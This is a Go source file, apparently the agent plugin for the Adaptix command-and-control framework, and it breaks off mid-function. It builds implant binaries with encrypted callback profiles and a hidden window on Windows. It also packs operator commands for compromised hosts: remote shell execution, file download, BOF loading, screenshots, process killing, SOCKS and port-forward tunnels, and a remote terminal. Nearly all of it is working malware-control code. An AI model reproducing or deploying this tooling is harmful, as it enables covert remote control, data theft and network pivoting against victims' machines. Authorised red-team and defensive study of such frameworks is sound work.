1857 lines
48 KiB
Go
1857 lines
48 KiB
Go
package main
|
|
|
|
import (
|
|
"bytes"
|
|
"crypto/aes"
|
|
"crypto/cipher"
|
|
"crypto/rand"
|
|
"encoding/base64"
|
|
"encoding/binary"
|
|
"encoding/hex"
|
|
"encoding/json"
|
|
"errors"
|
|
"fmt"
|
|
"io"
|
|
mrand "math/rand/v2"
|
|
"os"
|
|
"sort"
|
|
"strconv"
|
|
"strings"
|
|
"time"
|
|
|
|
"github.com/Adaptix-Framework/axc2"
|
|
"github.com/google/shlex"
|
|
"github.com/vmihailenco/msgpack/v5"
|
|
)
|
|
|
|
type Teamserver interface {
|
|
TsListenerInteralHandler(watermark string, data []byte) (string, error)
|
|
|
|
TsAgentProcessData(agentId string, bodyData []byte) error
|
|
|
|
TsAgentUpdateData(newAgentData adaptix.AgentData) error
|
|
TsAgentTerminate(agentId string, terminateTaskId string) error
|
|
TsAgentUpdateDataPartial(agentId string, updateData interface{}) error
|
|
|
|
TsAgentBuildExecute(builderId string, workingDir string, program string, args ...string) error
|
|
TsAgentBuildLog(builderId string, status int, message string) error
|
|
|
|
TsAgentConsoleOutput(agentId string, messageType int, message string, clearText string, store bool)
|
|
|
|
TsPivotCreate(pivotId string, pAgentId string, chAgentId string, pivotName string, isRestore bool) error
|
|
TsGetPivotInfoByName(pivotName string) (string, string, string)
|
|
TsGetPivotInfoById(pivotId string) (string, string, string)
|
|
TsPivotDelete(pivotId string) error
|
|
|
|
TsTaskCreate(agentId string, cmdline string, client string, taskData adaptix.TaskData)
|
|
TsTaskUpdate(agentId string, data adaptix.TaskData)
|
|
TsTaskGetAvailableAll(agentId string, availableSize int) ([]adaptix.TaskData, error)
|
|
|
|
TsDownloadAdd(agentId string, fileId string, fileName string, fileSize int64) error
|
|
TsDownloadUpdate(fileId string, state int, data []byte) error
|
|
TsDownloadClose(fileId string, reason int) error
|
|
TsDownloadSave(agentId string, fileId string, filename string, content []byte) error
|
|
|
|
TsScreenshotAdd(agentId string, Note string, Content []byte) error
|
|
|
|
TsClientGuiDisksWindows(taskData adaptix.TaskData, drives []adaptix.ListingDrivesDataWin)
|
|
TsClientGuiFilesStatus(taskData adaptix.TaskData)
|
|
TsClientGuiFilesWindows(taskData adaptix.TaskData, path string, files []adaptix.ListingFileDataWin)
|
|
TsClientGuiFilesUnix(taskData adaptix.TaskData, path string, files []adaptix.ListingFileDataUnix)
|
|
TsClientGuiProcessWindows(taskData adaptix.TaskData, process []adaptix.ListingProcessDataWin)
|
|
TsClientGuiProcessUnix(taskData adaptix.TaskData, process []adaptix.ListingProcessDataUnix)
|
|
|
|
TsTunnelStart(TunnelId string) (string, error)
|
|
TsTunnelCreateSocks4(AgentId string, Info string, Lhost string, Lport int) (string, error)
|
|
TsTunnelCreateSocks5(AgentId string, Info string, Lhost string, Lport int, UseAuth bool, Username string, Password string) (string, error)
|
|
TsTunnelCreateLportfwd(AgentId string, Info string, Lhost string, Lport int, Thost string, Tport int) (string, error)
|
|
TsTunnelCreateRportfwd(AgentId string, Info string, Lport int, Thost string, Tport int) (string, error)
|
|
TsTunnelUpdateRportfwd(tunnelId int, result bool) (string, string, error)
|
|
|
|
TsTunnelStopSocks(AgentId string, Port int)
|
|
TsTunnelStopLportfwd(AgentId string, Port int)
|
|
TsTunnelStopRportfwd(AgentId string, Port int)
|
|
|
|
TsTunnelConnectionClose(channelId int, writeOnly bool)
|
|
TsTunnelConnectionHalt(channelId int, errorCode byte)
|
|
TsTunnelConnectionResume(AgentId string, channelId int, ioDirect bool)
|
|
TsTunnelConnectionData(channelId int, data []byte)
|
|
TsTunnelConnectionAccept(tunnelId int, channelId int)
|
|
|
|
TsConvertCpToUTF8(input string, codePage int) string
|
|
TsConvertUTF8toCp(input string, codePage int) string
|
|
TsWin32Error(errorCode uint) string
|
|
}
|
|
|
|
type PluginAgent struct{}
|
|
|
|
type ExtenderAgent struct{}
|
|
|
|
var (
|
|
Ts Teamserver
|
|
ModuleDir string
|
|
AgentWatermark string
|
|
)
|
|
|
|
func InitPlugin(ts any, moduleDir string, watermark string) adaptix.PluginAgent {
|
|
ModuleDir = moduleDir
|
|
AgentWatermark = watermark
|
|
Ts = ts.(Teamserver)
|
|
return &PluginAgent{}
|
|
}
|
|
|
|
func (p *PluginAgent) GetExtender() adaptix.ExtenderAgent {
|
|
return &ExtenderAgent{}
|
|
}
|
|
|
|
func makeProxyTask(packData []byte) adaptix.TaskData {
|
|
return adaptix.TaskData{Type: adaptix.TASK_TYPE_PROXY_DATA, Data: packData, Sync: false}
|
|
}
|
|
|
|
func getStringArg(args map[string]any, key string) (string, error) {
|
|
v, ok := args[key].(string)
|
|
if !ok {
|
|
return "", fmt.Errorf("parameter '%s' must be set", key)
|
|
}
|
|
return v, nil
|
|
}
|
|
|
|
func getFloatArg(args map[string]any, key string) (float64, error) {
|
|
v, ok := args[key].(float64)
|
|
if !ok {
|
|
return 0, fmt.Errorf("parameter '%s' must be set", key)
|
|
}
|
|
return v, nil
|
|
}
|
|
|
|
func getBoolArg(args map[string]any, key string) bool {
|
|
v, _ := args[key].(bool)
|
|
return v
|
|
}
|
|
|
|
/// TUNNEL
|
|
|
|
func (ext *ExtenderAgent) TunnelCallbacks() adaptix.TunnelCallbacks {
|
|
return adaptix.TunnelCallbacks{
|
|
ConnectTCP: TunnelMessageConnectTCP,
|
|
ConnectUDP: TunnelMessageConnectUDP,
|
|
WriteTCP: TunnelMessageWriteTCP,
|
|
WriteUDP: TunnelMessageWriteUDP,
|
|
Close: TunnelMessageClose,
|
|
Reverse: TunnelMessageReverse,
|
|
Pause: TunnelMessagePause,
|
|
Resume: TunnelMessageResume,
|
|
}
|
|
}
|
|
|
|
func TunnelMessageConnectTCP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData {
|
|
var packData []byte
|
|
/// START CODE HERE
|
|
addr := fmt.Sprintf("%s:%d", address, port)
|
|
packerData, _ := msgpack.Marshal(ParamsTunnelStart{Proto: "tcp", ChannelId: channelId, Address: addr})
|
|
cmd := Command{Code: COMMAND_TUNNEL_START, Data: packerData}
|
|
packData, _ = msgpack.Marshal(cmd)
|
|
/// END CODE HERE
|
|
return makeProxyTask(packData)
|
|
}
|
|
|
|
func TunnelMessageConnectUDP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData {
|
|
var packData []byte
|
|
/// START CODE HERE
|
|
addr := fmt.Sprintf("%s:%d", address, port)
|
|
packerData, _ := msgpack.Marshal(ParamsTunnelStart{Proto: "udp", ChannelId: channelId, Address: addr})
|
|
cmd := Command{Code: COMMAND_TUNNEL_START, Data: packerData}
|
|
packData, _ = msgpack.Marshal(cmd)
|
|
/// END CODE HERE
|
|
return makeProxyTask(packData)
|
|
}
|
|
|
|
func TunnelMessageWriteTCP(channelId int, data []byte) adaptix.TaskData {
|
|
/// START CODE HERE
|
|
/// END CODE HERE
|
|
return makeProxyTask(data)
|
|
}
|
|
|
|
func TunnelMessageWriteUDP(channelId int, data []byte) adaptix.TaskData {
|
|
/// START CODE HERE
|
|
/// END CODE HERE
|
|
return makeProxyTask(data)
|
|
}
|
|
|
|
func TunnelMessageClose(channelId int) adaptix.TaskData {
|
|
var packData []byte
|
|
/// START CODE HERE
|
|
packerData, _ := msgpack.Marshal(ParamsTunnelStop{ChannelId: channelId})
|
|
cmd := Command{Code: COMMAND_TUNNEL_STOP, Data: packerData}
|
|
packData, _ = msgpack.Marshal(cmd)
|
|
/// END CODE HERE
|
|
return makeProxyTask(packData)
|
|
}
|
|
|
|
func TunnelMessageReverse(tunnelId int, port int) adaptix.TaskData {
|
|
var packData []byte
|
|
/// START CODE HERE
|
|
/// END CODE HERE
|
|
return makeProxyTask(packData)
|
|
}
|
|
|
|
func TunnelMessagePause(channelId int) adaptix.TaskData {
|
|
var packData []byte
|
|
packerData, _ := msgpack.Marshal(ParamsTunnelPause{ChannelId: channelId})
|
|
cmd := Command{Code: COMMAND_TUNNEL_PAUSE, Data: packerData}
|
|
packData, _ = msgpack.Marshal(cmd)
|
|
return makeProxyTask(packData)
|
|
}
|
|
|
|
func TunnelMessageResume(channelId int) adaptix.TaskData {
|
|
var packData []byte
|
|
packerData, _ := msgpack.Marshal(ParamsTunnelResume{ChannelId: channelId})
|
|
cmd := Command{Code: COMMAND_TUNNEL_RESUME, Data: packerData}
|
|
packData, _ = msgpack.Marshal(cmd)
|
|
return makeProxyTask(packData)
|
|
}
|
|
|
|
/// TERMINAL
|
|
|
|
func (ext *ExtenderAgent) TerminalCallbacks() adaptix.TerminalCallbacks {
|
|
return adaptix.TerminalCallbacks{
|
|
Start: TerminalMessageStart,
|
|
Write: TerminalMessageWrite,
|
|
Close: TerminalMessageClose,
|
|
}
|
|
}
|
|
|
|
func TerminalMessageStart(terminalId int, program string, sizeH int, sizeW int, oemCP int) adaptix.TaskData {
|
|
var packData []byte
|
|
/// START CODE HERE
|
|
packerData, _ := msgpack.Marshal(ParamsTerminalStart{TermId: terminalId, Program: program, Height: sizeH, Width: sizeW})
|
|
cmd := Command{Code: COMMAND_TERMINAL_START, Data: packerData}
|
|
packData, _ = msgpack.Marshal(cmd)
|
|
/// END CODE HERE
|
|
return makeProxyTask(packData)
|
|
}
|
|
|
|
func TerminalMessageWrite(terminalId int, oemCP int, data []byte) adaptix.TaskData {
|
|
return makeProxyTask(data)
|
|
}
|
|
|
|
func TerminalMessageClose(terminalId int) adaptix.TaskData {
|
|
var packData []byte
|
|
/// START CODE HERE
|
|
packerData, _ := msgpack.Marshal(ParamsTerminalStop{TermId: terminalId})
|
|
cmd := Command{Code: COMMAND_TERMINAL_STOP, Data: packerData}
|
|
packData, _ = msgpack.Marshal(cmd)
|
|
/// END CODE HERE
|
|
return makeProxyTask(packData)
|
|
}
|
|
|
|
////// PLUGIN AGENT
|
|
|
|
type GenerateConfig struct {
|
|
Os string `json:"os"`
|
|
Arch string `json:"arch"`
|
|
Format string `json:"format"`
|
|
Win7support bool `json:"win7_support"`
|
|
ReconnectTimeout string `json:"reconn_timeout"`
|
|
ReconnectCount int `json:"reconn_count"`
|
|
}
|
|
|
|
var SrcPath = "src_gopher"
|
|
|
|
func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, error) {
|
|
var agentProfiles [][]byte
|
|
|
|
for _, transportProfile := range profile.ListenerProfiles {
|
|
|
|
var listenerMap map[string]any
|
|
if err := json.Unmarshal(transportProfile.Profile, &listenerMap); err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
/// START CODE HERE
|
|
|
|
var (
|
|
generateConfig GenerateConfig
|
|
profileData []byte
|
|
)
|
|
|
|
err := json.Unmarshal([]byte(profile.AgentConfig), &generateConfig)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
agentWatermark, err := strconv.ParseInt(AgentWatermark, 16, 64)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
encrypt_key, _ := listenerMap["encrypt_key"].(string)
|
|
encryptKey, err := hex.DecodeString(encrypt_key)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
reconnectTimeout, err := parseDurationToSeconds(generateConfig.ReconnectTimeout)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
protocol, _ := listenerMap["protocol"].(string)
|
|
switch protocol {
|
|
|
|
case "tcp":
|
|
|
|
tcp_banner, _ := listenerMap["tcp_banner"].(string)
|
|
|
|
servers, _ := listenerMap["callback_addresses"].(string)
|
|
|
|
servers = strings.ReplaceAll(servers, " ", "")
|
|
servers = strings.ReplaceAll(servers, "\n", ",")
|
|
servers = strings.TrimSuffix(servers, ",")
|
|
addresses := strings.Split(servers, ",")
|
|
|
|
var sslKey []byte
|
|
var sslCert []byte
|
|
var caCert []byte
|
|
Ssl, _ := listenerMap["ssl"].(bool)
|
|
if Ssl {
|
|
ssl_key, _ := listenerMap["client_key"].(string)
|
|
sslKey, err = base64.StdEncoding.DecodeString(ssl_key)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
ssl_cert, _ := listenerMap["client_cert"].(string)
|
|
sslCert, err = base64.StdEncoding.DecodeString(ssl_cert)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
ca_cert, _ := listenerMap["ca_cert"].(string)
|
|
caCert, err = base64.StdEncoding.DecodeString(ca_cert)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
}
|
|
|
|
profile := Profile{
|
|
Type: uint(agentWatermark),
|
|
Addresses: addresses,
|
|
BannerSize: len(tcp_banner),
|
|
ConnTimeout: reconnectTimeout,
|
|
ConnCount: generateConfig.ReconnectCount,
|
|
UseSSL: Ssl,
|
|
SslCert: sslCert,
|
|
SslKey: sslKey,
|
|
CaCert: caCert,
|
|
}
|
|
profileData, _ = msgpack.Marshal(profile)
|
|
|
|
default:
|
|
return nil, errors.New("protocol unknown")
|
|
}
|
|
|
|
extHandler := ExtenderAgent{}
|
|
profileData, _ = extHandler.Encrypt(profileData, encryptKey)
|
|
profileData = append(encryptKey, profileData...)
|
|
|
|
profileString := ""
|
|
for _, b := range profileData {
|
|
profileString += fmt.Sprintf("\\x%02x", b)
|
|
}
|
|
agentProfiles = append(agentProfiles, []byte(profileString))
|
|
|
|
fmt.Println(profileString)
|
|
|
|
/// END CODE HERE
|
|
}
|
|
return agentProfiles, nil
|
|
}
|
|
|
|
func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [][]byte) ([]byte, string, error) {
|
|
var (
|
|
Filename string
|
|
Payload []byte
|
|
)
|
|
|
|
/// START CODE HERE
|
|
|
|
var (
|
|
generateConfig GenerateConfig
|
|
GoArch string
|
|
GoOs string
|
|
buildPath string
|
|
)
|
|
|
|
err := json.Unmarshal([]byte(profile.AgentConfig), &generateConfig)
|
|
if err != nil {
|
|
return nil, "", err
|
|
}
|
|
|
|
currentDir := ModuleDir
|
|
tempDir, err := os.MkdirTemp("", "ax-*")
|
|
if err != nil {
|
|
return nil, "", err
|
|
}
|
|
|
|
if generateConfig.Arch == "arm64" {
|
|
GoArch = "arm64"
|
|
} else if generateConfig.Arch == "amd64" {
|
|
GoArch = "amd64"
|
|
} else {
|
|
_ = os.RemoveAll(tempDir)
|
|
return nil, "", errors.New("unknown architecture")
|
|
}
|
|
|
|
LdFlags := "-s -w"
|
|
if generateConfig.Os == "linux" {
|
|
Filename = "agent.bin"
|
|
GoOs = "linux"
|
|
} else if generateConfig.Os == "macos" {
|
|
Filename = "agent.bin"
|
|
GoOs = "darwin"
|
|
} else if generateConfig.Os == "windows" {
|
|
Filename = "agent.exe"
|
|
GoOs = "windows"
|
|
LdFlags += " -H=windowsgui"
|
|
} else {
|
|
_ = os.RemoveAll(tempDir)
|
|
return nil, "", errors.New("operating system not supported")
|
|
}
|
|
buildPath = tempDir + "/" + Filename
|
|
|
|
_ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Target: %s/%s, Output: %s", GoOs, GoArch, Filename))
|
|
|
|
config := "package main\n\nvar encProfiles = [][]byte{\n"
|
|
for _, profile := range agentProfiles {
|
|
config += fmt.Sprintf(" []byte(\"%s\"),\n", profile)
|
|
}
|
|
config += "}\n"
|
|
|
|
configPath := currentDir + "/" + SrcPath + "/config.go"
|
|
err = os.WriteFile(configPath, []byte(config), 0644)
|
|
if err != nil {
|
|
_ = os.RemoveAll(tempDir)
|
|
return nil, "", err
|
|
}
|
|
|
|
cmdBuild := fmt.Sprintf("GOWORK=off CGO_ENABLED=0 GOOS=%s GOARCH=%s go build -trimpath -ldflags=\"%s\" -o %s", GoOs, GoArch, LdFlags, buildPath)
|
|
if generateConfig.Os == "windows" && generateConfig.Win7support {
|
|
_, err := os.Stat("/usr/lib/go-win7/go")
|
|
if os.IsNotExist(err) {
|
|
return nil, "", errors.New("go-win7 not installed")
|
|
}
|
|
cmdBuild = fmt.Sprintf("GOWORK=off CGO_ENABLED=0 GOOS=%s GOARCH=%s GOROOT=/usr/lib/go-win7/ /usr/lib/go-win7/go build -trimpath -ldflags=\"%s\" -o %s", GoOs, GoArch, LdFlags, buildPath)
|
|
_ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Using go-win7 for Windows 7 support")
|
|
|
|
}
|
|
_ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Starting build process...")
|
|
|
|
var buildArgs []string
|
|
buildArgs = append(buildArgs, "-c", cmdBuild)
|
|
err = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir+"/"+SrcPath, "sh", buildArgs...)
|
|
if err != nil {
|
|
_ = os.RemoveAll(tempDir)
|
|
return nil, "", err
|
|
}
|
|
|
|
Payload, err = os.ReadFile(buildPath)
|
|
if err != nil {
|
|
return nil, "", err
|
|
}
|
|
_ = os.RemoveAll(tempDir)
|
|
_ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Payload size: %d bytes", len(Payload)))
|
|
|
|
/// END CODE HERE
|
|
|
|
return Payload, Filename, nil
|
|
}
|
|
|
|
func (p *PluginAgent) CreateAgent(beat []byte) (adaptix.AgentData, adaptix.ExtenderAgent, error) {
|
|
var agentData adaptix.AgentData
|
|
|
|
/// START CODE HERE
|
|
|
|
var sessionInfo SessionInfo
|
|
err := msgpack.Unmarshal(beat, &sessionInfo)
|
|
if err != nil {
|
|
return adaptix.AgentData{}, nil, err
|
|
}
|
|
|
|
agentData.ACP = int(sessionInfo.Acp)
|
|
agentData.OemCP = int(sessionInfo.Oem)
|
|
agentData.Pid = fmt.Sprintf("%v", sessionInfo.PID)
|
|
agentData.Tid = ""
|
|
agentData.Arch = "x64"
|
|
agentData.Elevated = sessionInfo.Elevated
|
|
agentData.InternalIP = sessionInfo.Ipaddr
|
|
|
|
if sessionInfo.Os == "linux" {
|
|
agentData.Os = adaptix.OS_LINUX
|
|
agentData.OsDesc = sessionInfo.OSVersion
|
|
} else if sessionInfo.Os == "windows" {
|
|
agentData.Os = adaptix.OS_WINDOWS
|
|
agentData.OsDesc = sessionInfo.OSVersion
|
|
} else if sessionInfo.Os == "darwin" {
|
|
agentData.Os = adaptix.OS_MAC
|
|
agentData.OsDesc = sessionInfo.OSVersion
|
|
} else {
|
|
agentData.Os = adaptix.OS_UNKNOWN
|
|
return agentData, nil, errors.New("unknown OS")
|
|
}
|
|
|
|
agentData.SessionKey = sessionInfo.EncryptKey
|
|
agentData.Domain = ""
|
|
agentData.Computer = sessionInfo.Host
|
|
agentData.Username = sessionInfo.User
|
|
agentData.Process = sessionInfo.Process
|
|
|
|
/// END CODE
|
|
|
|
return agentData, &ExtenderAgent{}, nil
|
|
}
|
|
|
|
/// AGENT HANDLER
|
|
|
|
func (ext *ExtenderAgent) Encrypt(data []byte, key []byte) ([]byte, error) {
|
|
|
|
/// START CODE
|
|
|
|
block, err := aes.NewCipher(key)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
gcm, err := cipher.NewGCM(block)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
nonce := make([]byte, gcm.NonceSize())
|
|
_, err = io.ReadFull(rand.Reader, nonce)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
ciphertext := gcm.Seal(nonce, nonce, data, nil)
|
|
|
|
/// END CODE
|
|
|
|
return ciphertext, nil
|
|
}
|
|
|
|
func (ext *ExtenderAgent) Decrypt(data []byte, key []byte) ([]byte, error) {
|
|
|
|
/// START CODE
|
|
|
|
block, err := aes.NewCipher(key)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
gcm, err := cipher.NewGCM(block)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
nonceSize := gcm.NonceSize()
|
|
if len(data) < nonceSize {
|
|
return nil, fmt.Errorf("ciphertext too short")
|
|
}
|
|
|
|
nonce, ciphertext := data[:nonceSize], data[nonceSize:]
|
|
|
|
plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
/// END CODE
|
|
|
|
return plaintext, nil
|
|
}
|
|
|
|
func (ext *ExtenderAgent) PackTasks(agentData adaptix.AgentData, tasks []adaptix.TaskData) ([]byte, error) {
|
|
|
|
var packData []byte
|
|
|
|
/// START CODE HERE
|
|
|
|
var objects [][]byte
|
|
var command Command
|
|
|
|
for _, taskData := range tasks {
|
|
taskId, err := strconv.ParseUint(taskData.TaskId, 16, 64)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
_ = msgpack.Unmarshal(taskData.Data, &command)
|
|
command.Id = uint(taskId)
|
|
|
|
cmd, _ := msgpack.Marshal(command)
|
|
|
|
objects = append(objects, cmd)
|
|
}
|
|
|
|
message := Message{
|
|
Type: 1,
|
|
Object: objects,
|
|
}
|
|
|
|
packData, _ = msgpack.Marshal(message)
|
|
|
|
/// END CODE
|
|
|
|
return packData, nil
|
|
}
|
|
|
|
func (ext *ExtenderAgent) PivotPackData(pivotId string, data []byte) (adaptix.TaskData, error) {
|
|
var (
|
|
packData []byte
|
|
err error = nil
|
|
)
|
|
|
|
/// START CODE HERE
|
|
|
|
err = errors.New("Function Pivot not packed")
|
|
|
|
/// END CODE
|
|
|
|
taskData := adaptix.TaskData{
|
|
TaskId: fmt.Sprintf("%08x", mrand.Uint32()),
|
|
Type: adaptix.TASK_TYPE_PROXY_DATA,
|
|
Data: packData,
|
|
Sync: false,
|
|
}
|
|
|
|
return taskData, err
|
|
}
|
|
|
|
func (ext *ExtenderAgent) CreateCommand(agentData adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) {
|
|
var (
|
|
taskData adaptix.TaskData
|
|
messageData adaptix.ConsoleMessageData
|
|
err error
|
|
)
|
|
|
|
command, ok := args["command"].(string)
|
|
if !ok {
|
|
return taskData, messageData, errors.New("'command' must be set")
|
|
}
|
|
subcommand, _ := args["subcommand"].(string)
|
|
|
|
taskData = adaptix.TaskData{
|
|
Type: adaptix.TASK_TYPE_TASK,
|
|
Sync: true,
|
|
}
|
|
|
|
messageData = adaptix.ConsoleMessageData{
|
|
Status: adaptix.MESSAGE_INFO,
|
|
Text: "",
|
|
}
|
|
messageData.Message, _ = args["message"].(string)
|
|
|
|
/// START CODE HERE
|
|
|
|
var cmd Command
|
|
|
|
switch command {
|
|
|
|
case "cat":
|
|
path, err := getStringArg(args, "path")
|
|
if err != nil {
|
|
goto RET
|
|
}
|
|
packerData, _ := msgpack.Marshal(ParamsCat{Path: path})
|
|
cmd = Command{Code: COMMAND_CAT, Data: packerData}
|
|
|
|
case "cd":
|
|
path, err := getStringArg(args, "path")
|
|
if err != nil {
|
|
goto RET
|
|
}
|
|
packerData, _ := msgpack.Marshal(ParamsCd{Path: path})
|
|
cmd = Command{Code: COMMAND_CD, Data: packerData}
|
|
|
|
case "cp":
|
|
src, err := getStringArg(args, "src")
|
|
if err != nil {
|
|
goto RET
|
|
}
|
|
dst, err := getStringArg(args, "dst")
|
|
if err != nil {
|
|
goto RET
|
|
}
|
|
packerData, _ := msgpack.Marshal(ParamsCp{Src: src, Dst: dst})
|
|
cmd = Command{Code: COMMAND_CP, Data: packerData}
|
|
|
|
case "download":
|
|
path, err := getStringArg(args, "path")
|
|
if err != nil {
|
|
goto RET
|
|
}
|
|
|
|
r := make([]byte, 4)
|
|
_, _ = rand.Read(r)
|
|
taskId := binary.BigEndian.Uint32(r)
|
|
|
|
taskData.TaskId = fmt.Sprintf("%08x", taskId)
|
|
|
|
packerData, _ := msgpack.Marshal(ParamsDownload{Path: path, Task: taskData.TaskId})
|
|
cmd = Command{Code: COMMAND_DOWNLOAD, Data: packerData}
|
|
|
|
case "execute":
|
|
if agentData.Os != adaptix.OS_WINDOWS {
|
|
goto RET
|
|
}
|
|
|
|
if subcommand == "bof" {
|
|
taskData.Type = adaptix.TASK_TYPE_JOB
|
|
|
|
r := make([]byte, 4)
|
|
_, _ = rand.Read(r)
|
|
taskId := binary.BigEndian.Uint32(r)
|
|
|
|
taskData.TaskId = fmt.Sprintf("%08x", taskId)
|
|
|
|
asyncMode := getBoolArg(args, "-a")
|
|
|
|
bofFile, err := getStringArg(args, "bof")
|
|
if err != nil {
|
|
goto RET
|
|
}
|
|
bofContent, decodeErr := base64.StdEncoding.DecodeString(bofFile)
|
|
if decodeErr != nil {
|
|
err = decodeErr
|
|
goto RET
|
|
}
|
|
|
|
paramData, ok := args["param_data"].(string)
|
|
if !ok {
|
|
paramData = ""
|
|
}
|
|
|
|
packerData, _ := msgpack.Marshal(ParamsExecBof{Object: bofContent, ArgsPack: paramData, Task: taskData.TaskId})
|
|
if asyncMode {
|
|
cmd = Command{Code: COMMAND_EXEC_BOF_ASYNC, Data: packerData}
|
|
} else {
|
|
cmd = Command{Code: COMMAND_EXEC_BOF, Data: packerData}
|
|
}
|
|
} else {
|
|
err = errors.New("subcommand must be 'bof'")
|
|
goto RET
|
|
}
|
|
|
|
case "exit":
|
|
cmd = Command{Code: COMMAND_EXIT, Data: nil}
|
|
|
|
case "job":
|
|
if subcommand == "list" {
|
|
cmd = Command{Code: COMMAND_JOB_LIST, Data: nil}
|
|
|
|
} else if subcommand == "kill" {
|
|
jobId, err := getStringArg(args, "task_id")
|
|
if err != nil {
|
|
goto RET
|
|
}
|
|
packerData, _ := msgpack.Marshal(ParamsJobKill{Id: jobId})
|
|
cmd = Command{Code: COMMAND_JOB_KILL, Data: packerData}
|
|
|
|
} else {
|
|
err = errors.New("subcommand must be 'list' or 'kill'")
|
|
goto RET
|
|
}
|
|
|
|
case "kill":
|
|
pid, err := getFloatArg(args, "pid")
|
|
if err != nil {
|
|
goto RET
|
|
}
|
|
packerData, _ := msgpack.Marshal(ParamsKill{Pid: int(pid)})
|
|
cmd = Command{Code: COMMAND_KILL, Data: packerData}
|
|
|
|
case "ls":
|
|
dir, err := getStringArg(args, "path")
|
|
if err != nil {
|
|
goto RET
|
|
}
|
|
packerData, _ := msgpack.Marshal(ParamsLs{Path: dir})
|
|
cmd = Command{Code: COMMAND_LS, Data: packerData}
|
|
|
|
case "mv":
|
|
src, err := getStringArg(args, "src")
|
|
if err != nil {
|
|
goto RET
|
|
}
|
|
dst, err := getStringArg(args, "dst")
|
|
if err != nil {
|
|
goto RET
|
|
}
|
|
packerData, _ := msgpack.Marshal(ParamsMv{Src: src, Dst: dst})
|
|
cmd = Command{Code: COMMAND_MV, Data: packerData}
|
|
|
|
case "mkdir":
|
|
path, err := getStringArg(args, "path")
|
|
if err != nil {
|
|
goto RET
|
|
}
|
|
packerData, _ := msgpack.Marshal(ParamsMkdir{Path: path})
|
|
cmd = Command{Code: COMMAND_MKDIR, Data: packerData}
|
|
|
|
case "ps":
|
|
cmd = Command{Code: COMMAND_PS, Data: nil}
|
|
|
|
case "pwd":
|
|
cmd = Command{Code: COMMAND_PWD, Data: nil}
|
|
|
|
case "rev2self":
|
|
cmd = Command{Code: COMMAND_REV2SELF, Data: nil}
|
|
|
|
case "rm":
|
|
path, err := getStringArg(args, "path")
|
|
if err != nil {
|
|
goto RET
|
|
}
|
|
packerData, _ := msgpack.Marshal(ParamsRm{Path: path})
|
|
cmd = Command{Code: COMMAND_RM, Data: packerData}
|
|
|
|
case "run":
|
|
taskData.Type = adaptix.TASK_TYPE_JOB
|
|
|
|
prog, err := getStringArg(args, "program")
|
|
if err != nil {
|
|
goto RET
|
|
}
|
|
runArgs, _ := args["args"].(string)
|
|
|
|
r := make([]byte, 4)
|
|
_, _ = rand.Read(r)
|
|
taskId := binary.BigEndian.Uint32(r)
|
|
|
|
taskData.TaskId = fmt.Sprintf("%08x", taskId)
|
|
|
|
cmdArgs, _ := shlex.Split(runArgs)
|
|
packerData, _ := msgpack.Marshal(ParamsRun{Program: prog, Args: cmdArgs, Task: taskData.TaskId})
|
|
cmd = Command{Code: COMMAND_RUN, Data: packerData}
|
|
|
|
case "shell":
|
|
cmdParam, err := getStringArg(args, "cmd")
|
|
if err != nil {
|
|
goto RET
|
|
}
|
|
|
|
if agentData.Os == adaptix.OS_WINDOWS {
|
|
cmdArgs := []string{"/c", cmdParam}
|
|
packerData, _ := msgpack.Marshal(ParamsShell{Program: "C:\\Windows\\System32\\cmd.exe", Args: cmdArgs})
|
|
cmd = Command{Code: COMMAND_SHELL, Data: packerData}
|
|
} else {
|
|
cmdArgs := []string{"-c", cmdParam}
|
|
packerData, _ := msgpack.Marshal(ParamsShell{Program: "/bin/sh", Args: cmdArgs})
|
|
cmd = Command{Code: COMMAND_SHELL, Data: packerData}
|
|
}
|
|
|
|
case "screenshot":
|
|
cmd = Command{Code: COMMAND_SCREENSHOT, Data: nil}
|
|
|
|
case "socks":
|
|
taskData.Type = adaptix.TASK_TYPE_TUNNEL
|
|
|
|
portNumber, ok := args["port"].(float64)
|
|
port := int(portNumber)
|
|
if ok {
|
|
if port < 1 || port > 65535 {
|
|
err = errors.New("port must be from 1 to 65535")
|
|
goto RET
|
|
}
|
|
}
|
|
if subcommand == "start" {
|
|
address, err := getStringArg(args, "address")
|
|
if err != nil {
|
|
goto RET
|
|
}
|
|
|
|
auth := getBoolArg(args, "-a")
|
|
if auth {
|
|
username, err := getStringArg(args, "username")
|
|
if err != nil {
|
|
goto RET
|
|
}
|
|
password, err := getStringArg(args, "password")
|
|
if err != nil {
|
|
goto RET
|
|
}
|
|
|
|
tunnelId, err2 := Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, true, username, password)
|
|
if err2 != nil {
|
|
err = err2
|
|
goto RET
|
|
}
|
|
taskData.TaskId, err2 = Ts.TsTunnelStart(tunnelId)
|
|
if err2 != nil {
|
|
err = err2
|
|
